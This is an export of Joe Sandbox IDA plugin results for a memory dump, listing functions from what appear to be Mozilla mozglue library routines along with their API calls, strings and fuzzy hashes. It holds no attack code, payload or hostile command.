Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: a184794b344e6f8f25d3b677976ff1709c252497b86bacaaebeb8fb52167acb3
Instruction ID: 317d69a4316d280a5245875790ca34cb34c8e72139dc05175902ff01cec06f6a
Opcode Fuzzy Hash: a184794b344e6f8f25d3b677976ff1709c252497b86bacaaebeb8fb52167acb3
Instruction Fuzzy Hash: BC337A717067418FD308CF29C590615FBE2FF85328B29C6ADE8698B7A5D771E881CB42

Function 6CAE3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CAE3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CAE34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CAE34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CAE350E
__Init_thread_footer.LIBCMT ref: 6CAE3522
__aulldiv.LIBCMT ref: 6CAE3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CAE357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CAE3592

Part of subcall function 6CB1AB89: EnterCriticalSection.KERNEL32(6CB6E370,?,?,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284), ref: 6CB1AB94
Part of subcall function 6CB1AB89: LeaveCriticalSection.KERNEL32(6CB6E370,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CB1ABD1

Strings

kernel32.dll, xrefs: 6CAE34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CAE3508

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: bbe53dfaf2f278d894fefc45078004032829c12019fa97772c74d12ccb55a8f6
Instruction ID: 465ed4e2334c875a069c69988da5ae23a8ea55c54e767e9df6e6b964ba2e6d1b
Opcode Fuzzy Hash: bbe53dfaf2f278d894fefc45078004032829c12019fa97772c74d12ccb55a8f6
Instruction Fuzzy Hash: F1319075B012459BDF04DFBAC848ABE77B9FB4A304F14442AE542937A0EA70A944DBA0

Function 6CB34820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

-%llu, xrefs: 6CB34825
ProfileBuffer parse error: %s, xrefs: 6CB34DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CB34DB8, 6CB34DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CB34D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CB34CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CB34D65
data, xrefs: 6CB349B4
schema, xrefs: 6CB348C1

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: 651680fffc33b68234f93389fc037a48866b54b23a5d0fa65de8d5c2b611c12d
Instruction ID: 8bb6a2914fb11e2e0e663fe2b1063393c5499071f8f4002ea85154fefc53a32f
Opcode Fuzzy Hash: 651680fffc33b68234f93389fc037a48866b54b23a5d0fa65de8d5c2b611c12d
Instruction Fuzzy Hash: 87722A71918B858BC322CF35C4513ABF7E5BFDA344F508B1DE48A6B651EB70A486CB42

Function 6CB44EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CB44EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB44F2E
moz_xmalloc.MOZGLUE ref: 6CB44F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CB44F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB452B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB452E6
Sleep.KERNEL32(00000010), ref: 6CB45481
free.MOZGLUE(?), ref: 6CB45498

Strings

(, xrefs: 6CB45250

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 2c7293781250f2e88d6ed076d4b57a7d54eb84f56213b4c8c134ea57732b6e29
Instruction ID: c1d2e439d7108bb9f91e9ca79bcc23d5427ed06c915bdf4925ae3481481e1bb3
Opcode Fuzzy Hash: 2c7293781250f2e88d6ed076d4b57a7d54eb84f56213b4c8c134ea57732b6e29
Instruction Fuzzy Hash: 9FF1B271A18B408FC716CF39C85062BB7F6BFD6384F45872EF846A7691DB3198468B81

Function 6CB45FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CB46009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB46024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CAEEE51,?), ref: 6CB46046
OutputDebugStringA.KERNEL32(?,6CAEEE51,?), ref: 6CB46061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB46069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB46073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB46082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CB6148E), ref: 6CB46091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CAEEE51,00000000,?), ref: 6CB460BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB460C4

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 518d2ab49f00c991ebdd178cf6590c98d8fc03849a14e534e3997cbbc6cbd7ab
Instruction ID: b2e51b3d204ad9a75350506d4220d1daaabf6649f1bd0f379454aadfcc6ee2d2
Opcode Fuzzy Hash: 518d2ab49f00c991ebdd178cf6590c98d8fc03849a14e534e3997cbbc6cbd7ab
Instruction Fuzzy Hash: 6D21B2B1A002489FDF105F25DC49AAE7BBCFF45218F008429F85AD7680DB74A559DFE2

Function 6CB47030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6CB47046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6CB47060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB4707E

Part of subcall function 6CAF81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAF81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB47096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB4709C
LocalFree.KERNEL32(?), ref: 6CB470AA

Strings

### ERROR: %s: %s, xrefs: 6CB47087
(null), xrefs: 6CB4706A, 6CB47083

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 2b1246d5fef1ec8e5c5bce8884ecd173c889a67965631405c0d8c30ac99b9a82
Instruction ID: ac76c24c7eebb6f0bcb4604132114e2e4600788bad98a1f4cf1a620027722589
Opcode Fuzzy Hash: 2b1246d5fef1ec8e5c5bce8884ecd173c889a67965631405c0d8c30ac99b9a82
Instruction Fuzzy Hash: A501DDB2A00108AFDF00AB66DC4ADBF7BBCEF49214F010435FA49E7681D67169188BA5

Function 6CB09E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB09EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CB09F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB09F34
LeaveCriticalSection.KERNEL32(?), ref: 6CB0A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB0A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB0A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB0A8B1, 6CB0A8D4, 6CB0A8EF

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: de8372526c97b59d058aea50f2388d659d5f5eebabe755041751d767bf42b7fa
Instruction ID: bf31372bde45d849d09d1364d1ceed1bf3336409b2a938f8c680fa50369de8a0
Opcode Fuzzy Hash: de8372526c97b59d058aea50f2388d659d5f5eebabe755041751d767bf42b7fa
Instruction Fuzzy Hash: 97725872A157518FD304CF28C540615FFE1FF89728B29CA6DE8699B7A1D331E842CB81

Function 6CB32C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB32C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB32C61

Part of subcall function 6CAE4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAE4E5A
Part of subcall function 6CAE4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAE4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB32C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB32E2D

Part of subcall function 6CAF81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAF81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CB32E3B
(root), xrefs: 6CB3354F
expected a Time entry, xrefs: 6CB32E36

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: ba74487d624b1f19a82c544f294b96a7064b782256b750bbabfec25eabbea608
Instruction ID: 501afb672c08b99f78fd696e731abfb71be67c696c560a1078cd48e32256bb38
Opcode Fuzzy Hash: ba74487d624b1f19a82c544f294b96a7064b782256b750bbabfec25eabbea608
Instruction Fuzzy Hash: 1291AE706087908FC714CF28C4946AFB7E1EF89258F505A1DE59A87791DB30D949CB93

Function 6CB0C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6CB0D4BB
0123456789abcdef, xrefs: 6CB0C317

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 49e8f18be5ee40b86dd83d46ae327cb4c11f318c2f3501a87842859b11c70f25
Instruction ID: 9c042342fd5d6bf9cff03a7bbe72628e6b826ef78721e1e67486a076a60599da
Opcode Fuzzy Hash: 49e8f18be5ee40b86dd83d46ae327cb4c11f318c2f3501a87842859b11c70f25
Instruction Fuzzy Hash: D552B2307493818FD724CF28C46076ABBE2FB86318F14891EE9DA87B91D7359845CB53

Function 6CB49E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CB49F3D
__aulldiv.LIBCMT ref: 6CB49F77
__aullrem.LIBCMT ref: 6CB49F8C
__aulldiv.LIBCMT ref: 6CB4A023

Strings

NaN, xrefs: 6CB49EAB
-Infinity, xrefs: 6CB49E60, 6CB49E7B

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 16889118d21b07b8b29f6af7b5a15289a4a3d4ba00d3d5236c558d811dc605a8
Instruction ID: df756bdb94ae96a0573db289fcc4b13df2df327f123614f74fcdf12734e18ba1
Opcode Fuzzy Hash: 16889118d21b07b8b29f6af7b5a15289a4a3d4ba00d3d5236c558d811dc605a8
Instruction Fuzzy Hash: 2BC1C031E48399CBDB14CFA8C850B9EB7BAFB89714F148529D405ABB84D770A849CF91

Function 6CAED4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6CAEDAF6
0, xrefs: 6CAED852
9, xrefs: 6CAEDE7F
0, xrefs: 6CAEDC7F
, xrefs: 6CAEDA88
-, xrefs: 6CAED7DD
1, xrefs: 6CAEDBDD
8, xrefs: 6CAEDC08

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 77fa1fb5e6812dd8b626ccc32e7d6bc985d479b117a58663461009f9019666c7
Instruction ID: 03781caeada14ef0f31138974713a0c734a9d14f030f3deffdbd31f186339a68
Opcode Fuzzy Hash: 77fa1fb5e6812dd8b626ccc32e7d6bc985d479b117a58663461009f9019666c7
Instruction Fuzzy Hash: DC629971A0C3858FD701CF29C49075ABBF2ABCA358F184A0DE4E54BA91D33599C5EBD2

Function 6CAF9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6CAFAB22
' , xrefs: 6CAFA3D8
9, xrefs: 6CAFA5D6
@, xrefs: 6CAFA625
0, xrefs: 6CAFA100
1, xrefs: 6CAFA824

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: c08af66425be7c01230320180716ac4d1be27bf0bb56a4d3c91fa85c00536184
Instruction ID: 4cbb68dd857eadc12e70e0f7547a61d344b9ca21aa032e4a700183df5d86728d
Opcode Fuzzy Hash: c08af66425be7c01230320180716ac4d1be27bf0bb56a4d3c91fa85c00536184
Instruction Fuzzy Hash: 8782CF355093158BD7118E19C0902EEB7E3EB85758F698A2AF8F547A90D335ACC7CB82

Function 6CAEBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAEC1CB
__aulldiv.LIBCMT ref: 6CAEC24C
__aulldiv.LIBCMT ref: 6CAEC348
__aullrem.LIBCMT ref: 6CAEC365
__aulldiv.LIBCMT ref: 6CAEC37D

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 38197d56d91485992feff0c4212f0385a46fb5caf798ab2bffe6bc63ce70e118
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: D8321432B086118FC718DE2CC890A5ABBE6AFC9314F09866DE895CB395D734ED05CBD1

Function 6CB5545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB58A4B

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 13fd1b144c5bd0691b5c5346fdac3ea49a759b2de0d175ab9be28e1898b2326b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D1B1F872E0025ACFDB24CF68CC907E9B7B2EF85314F5402A9C549DB791D730999ACB90

Function 6CB5542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB588F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB5925C

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: bb4e790faff13b79a87a7041aeda457d216df03e0c45bb22300b37efa3c38c7e
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 08B1D572E4124ACFDB14CF58CC816EDB7B2EF84314F580269C949EB785D731A99ACB90

Function 6CB550C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB58E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB5925C

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: d6304e43c991da09b3dfe342a7f6aea620c8c7d46dc269d060cf7d743a6f0947
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 9EA1E772E001568FDB14CF68CC8079DB7B2EF85314F5802B9C949EB785D731A9AACB90

Function 6CB377A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB37A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB37A93

Part of subcall function 6CB05C50: GetTickCount64.KERNEL32 ref: 6CB05D40
Part of subcall function 6CB05C50: EnterCriticalSection.KERNEL32(6CB6F688), ref: 6CB05D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB37AA1

Part of subcall function 6CB05C50: __aulldiv.LIBCMT ref: 6CB05DB4
